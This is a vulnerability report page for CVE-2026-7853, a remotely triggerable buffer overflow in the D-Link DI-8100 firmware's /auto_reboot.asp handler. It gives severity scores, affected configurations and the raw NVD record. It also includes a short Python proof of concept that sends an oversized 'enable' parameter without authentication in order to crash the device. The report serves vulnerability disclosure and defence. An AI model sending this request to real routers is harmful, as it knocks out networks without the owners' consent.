Security Vulnerability Report
中文
CVE-2026-7853 CVSS 9.8 CRITICAL

CVE-2026-7853

Published: 2026-05-05 18:16:04
Last Modified: 2026-05-06 17:40:13

Description

A weakness has been identified in D-Link DI-8100 16.07.26A1. Affected is the function sprintf of the file /auto_reboot.asp of the component HTTP Handler. This manipulation of the argument enable/time causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8100_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:di-8100:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8100 16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://<target_ip>/auto_reboot.asp" # Payload construction: A long string to trigger buffer overflow in sprintf # Adjust length based on specific buffer size requirement (e.g., 500+ bytes) payload = "A" * 600 # Data parameters to exploit the vulnerability params = { "enable": payload, "time": "1" } try: # Send the malicious request without authentication response = requests.get(target_url, params=params, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") # If the device crashes, the connection might reset or timeout if response.status_code != 200: print("[!] Potential vulnerability trigger (device response abnormal)") except requests.exceptions.Timeout: print("[!] Connection timed out - Device may have crashed (DoS confirmed)") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7853", "sourceIdentifier": "[email protected]", "published": "2026-05-05T18:16:04.123", "lastModified": "2026-05-06T17:40:13.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DI-8100 16.07.26A1. Affected is the function sprintf of the file /auto_reboot.asp of the component HTTP Handler. This manipulation of the argument enable/time causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "baseScore": 10.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:di-8100_firmware:16.07.26a1:*:*:*:*:*:*:*", "matchCriteriaId": "4FA39417-3894-4D6D-A899-000F56AA482B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:di-8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D417784-56F2-40AF-8FE8-C00E6F332131"}]}]}], "references": [{"url": "https://github.com/draw-ctf/report/blob/main/DI-8100/auto_reboot_asp_overflow.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/807837", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/361130", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/361130/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://www.dlink.com/", "source": "[email protected]", "tags": ["Product"]}]}}